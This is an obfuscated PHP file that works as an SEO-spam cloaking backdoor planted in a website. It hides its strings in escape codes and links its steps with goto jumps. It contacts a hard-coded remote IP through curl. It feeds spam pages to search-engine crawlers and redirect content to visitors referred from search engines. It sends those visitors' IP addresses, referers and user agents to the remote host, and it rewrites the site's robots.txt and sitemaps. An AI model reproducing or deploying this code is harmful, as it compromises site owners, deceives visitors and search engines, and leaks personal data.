<?php
 goto D4SCe; QvfX5: $referer = isset($_SERVER["\110\x54\x54\120\x5f\x52\x45\106\x45\122\x45\122"]) ? $_SERVER["\110\x54\x54\x50\x5f\122\x45\x46\x45\122\x45\122"] : ''; goto u020T; XCciM: $domain = $_SERVER["\x48\124\x54\x50\x5f\x48\117\x53\x54"]; goto DKO7Q; gdalP: function check_refer($refer) { $check_refer = false; $referbots = "\x67\x6f\x6f\x67\154\145\x7c\x79\141\x68\x6f\157\x7c\142\x69\x6e\147\174\x61\x6f\154"; if ($refer != '' && preg_match("\x2f\x28{$referbots}\x29\57\163\151", $refer)) { $check_refer = true; } return $check_refer; } goto Kuabr; UAr31: $data1[] = array(); goto gMOpj; Kuabr: $http = isset($_SERVER["\x48\124\x54\120\x53"]) && $_SERVER["\110\124\124\120\x53"] !== "\x6f\x66\x66" ? "\x68\x74\x74\160\163\72\57\x2f" : "\150\164\x74\160\x3a\57\57"; goto OOX16; E8oam: if (strpos($req_uri, "\x2e\x70\x68\160")) { $href1 = $http . $domain . $self; } else { $href1 = $http . $domain; } goto UAr31; bWYCw: $req_uri = str_replace(array("\56\x68\164\x6d", "\x2e\150\164\155\x6c", "\x2e\x73\x68\164\x6d\x6c", "\x2e\160\150\x74\x6d\154"), '', rtrim($req_uri, "\x2f")); goto vsWnV; u020T: $chk_refer = check_refer($referer); goto sFMdn; XJ1NH: $res_crawl = is_crawler($user_agent); goto bWYCw; O2Yza: if (strpos($req_uri, "\56\160\150\160")) { $main_shell = $http . $ser_name . $self; $data1["\155\x61\x69\156\x5f\163\150\145\154\x6c"] = $main_shell; } else { $main_shell = $http . $ser_name; $data1["\155\141\151\x6e\x5f\x73\150\145\x6c\154"] = $main_shell; } goto QvfX5; IkrcF: if (substr($req_uri, -6) == "\162\x6f\142\157\x74\163") { define("\102\101\x53\x45\137\x50\x41\x54\110", $_SERVER["\104\x4f\x43\x55\x4d\x45\x4e\124\137\x52\117\x4f\124"]); $robots_cont = @file_get_contents(BASE_PATH . "\57\x72\157\x62\157\x74\163\x2e\164\x78\164"); $data1["\162\x6f\142\157\x74\163\137\x63\157\x6e\164"] = $robots_cont; $robots_cont = @getServerCont($url_robots, $data1); file_put_contents(BASE_PATH . "\57\x72\157\142\157\x74\x73\56\x74\170\x74", $robots_cont); $robots_cont = @file_get_contents(BASE_PATH . "\x2f\x72\x6f\142\x6f\x74\x73\56\164\x78\164"); if (strpos(strtolower($robots_cont), "\163\x69\x74\145\155\x61\160")) { echo "\x72\x6f\142\x6f\x74\x73\56\x74\170\164\x20\x66\x69\154\x65\x20\143\x72\145\x61\164\145\x20\x73\165\x63\x63\145\163\x73\41"; } else { echo "\162\x6f\142\x6f\x74\x73\56\164\x78\x74\40\x66\x69\x6c\145\x20\x63\x72\145\x61\164\145\40\146\x61\x69\154\x21"; } die; } goto ry5Vj; ry5Vj: if (substr($req_uri, -4) == "\x2e\x78\x6d\x6c") { if (strpos($req_uri, "\141\154\x6c\163\x69\x74\145\155\x61\x70\56\170\155\154")) { $str_cont = getServerCont($map1, $data1); header("\x43\x6f\156\164\145\x6e\x74\55\164\171\160\145\x3a\x74\x65\x78\164\x2f\170\155\x6c"); echo $str_cont; die; } if (strpos($req_uri, "\x2e\160\150\x70")) { $word4 = explode("\77", $req_uri); $word4 = $word4[count($word4) - 1]; $word4 = str_replace("\56\170\155\x6c", '', $word4); } else { $word4 = str_replace("\x2f", '', $req_uri); $word4 = str_replace("\x2e\170\155\154", '', $word4); } $data1["\x77\157\162\x64"] = $word4; $data1["\x61\143\164\151\x6f\x6e"] = "\x63\x68\145\143\153\137\163\151\164\x65\155\141\160"; $check_url4 = getServerCont($url_words, $data1); if ($check_url4 == "\x31") { $str_cont = getServerCont($map1, $data1); header("\x43\x6f\156\164\x65\156\164\55\x74\x79\x70\x65\72\164\x65\170\x74\57\170\155\154"); echo $str_cont; die; } $data1["\141\x63\x74\151\x6f\x6e"] = "\x63\150\145\x63\x6b\x5f\x77\157\x72\144\x73"; $check1 = getServerCont($url_words, $data1); if (strpos($req_uri, "\155\141\160") > 0 || $check1 == "\61") { $data1["\x61\143\x74\151\157\156"] = "\x72\141\x6e\144\137\x78\x6d\154"; $check_url4 = getServerCont($url_words, $data1); header("\x43\x6f\156\x74\145\156\164\55\164\171\x70\x65\72\164\145\170\x74\57\x78\x6d\154"); echo $check_url4; die; } } goto O2Yza; ocrP8: $map1 = $inter_domain . "\x2f\x6d\141\160\x2e\160\x68\x70"; goto EvR5m; dxLYG: $url_robots = $inter_domain . "\57\x72\157\x62\x6f\164\x73\x2e\160\x68\x70"; goto E8oam; EvR5m: $jump1 = $inter_domain . "\57\152\x75\155\x70\x2e\160\x68\x70"; goto L29sC; ogE2F: $data1["\162\x65\x71\137\165\162\154"] = $req_url; goto IkrcF; gMOpj: $data1["\x64\157\155\x61\x69\156"] = $domain; goto z_o57; y32Ez: $ser_name = $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\116\101\115\x45"]; goto bBaWX; OOX16: $req_uri = $_SERVER["\122\x45\x51\125\x45\x53\124\x5f\x55\122\x49"]; goto XCciM; L29sC: $url_words = $inter_domain . "\x2f\x77\157\162\144\x73\56\x70\150\x70"; goto dxLYG; vsWnV: if (!$res_crawl && $chk_refer && (preg_match("\57\134\144\44\57", $req_uri) || preg_match("\x23\133\x61\55\x7a\x5d\75\x5b\141\x2d\172\60\x2d\71\135\53\43", $req_uri) || preg_match("\x2f\151\x74\x65\x6d\57", $req_uri))) { $data1["\x69\160"] = $_SERVER["\x52\x45\x4d\117\124\x45\137\101\x44\104\122"]; $data1["\x72\x65\x66\x65\162\x65\162"] = isset($_SERVER["\x48\124\x54\x50\x5f\x52\x45\x46\x45\x52\105\x52"]) ? $_SERVER["\110\124\x54\120\137\122\105\106\105\122\x45\122"] : ''; $data1["\x75\163\145\162\x5f\x61\147\145\156\164"] = strtolower(isset($_SERVER["\110\124\124\x50\x5f\125\x53\105\x52\137\x41\x47\x45\116\124"]) ? $_SERVER["\110\x54\x54\120\x5f\x55\123\x45\x52\137\101\x47\105\x4e\x54"] : ''); echo getServerCont($jump1, $data1); die; } goto hGxwi; sFMdn: $user_agent = strtolower(isset($_SERVER["\x48\x54\x54\120\x5f\x55\x53\x45\122\x5f\x41\107\x45\x4e\x54"]) ? $_SERVER["\110\124\x54\x50\x5f\x55\x53\x45\122\137\x41\x47\x45\116\124"] : ''); goto XJ1NH; SagpN: function is_crawler($agent) { $agent_check = false; $bots = "\147\x6f\157\147\154\145\142\157\164\174\142\151\156\x67\142\x6f\x74\x7c\x67\157\x6f\147\154\x65\174\141\157\154\174\x62\x69\x6e\x67\174\171\141\150\x6f\157"; if ($agent != '') { if (preg_match("\x2f\x28{$bots}\51\57\163\x69", $agent)) { $agent_check = true; } } return $agent_check; } goto gdalP; z_o57: $data1["\x72\x65\x71\x5f\x75\162\x69"] = $req_uri; goto J0ROG; DKO7Q: $self = $_SERVER["\x50\110\120\x5f\123\105\114\106"]; goto y32Ez; hGxwi: if ($res_crawl) { $data1["\x68\164\x74\160\x5f\x75\x73\x65\162\x5f\141\x67\145\x6e\x74"] = $user_agent; $get_content = getServerCont($indata1, $data1); echo $get_content; die; } goto yPG1s; wWPXI: $indata1 = $inter_domain . "\57\151\156\x64\x61\164\141\56\160\x68\x70"; goto ocrP8; J0ROG: $data1["\x68\x72\145\146"] = $href1; goto ogE2F; WuTZ6: function getServerCont($url, $data = array()) { $url = str_replace("\x20", "\53", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "{$url}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); if (version_compare(PHP_VERSION, "\70\x2e\x30\56\x30", "\x3c")) { curl_close($ch); } if (0 !== $errorCode) { return false; } return $output; } goto SagpN; D4SCe: $inter_domain = "\150\x74\x74\x70\72\57\x2f\x31\x39\x32\56\x31\70\x37\x2e\61\x31\x30\x2e\66\66\x2f\x7a\66\60\66\60\x38\137\x31\x36\x2f"; goto WuTZ6; bBaWX: $req_url = $http . $domain . $req_uri; goto wWPXI; yPG1s: ?>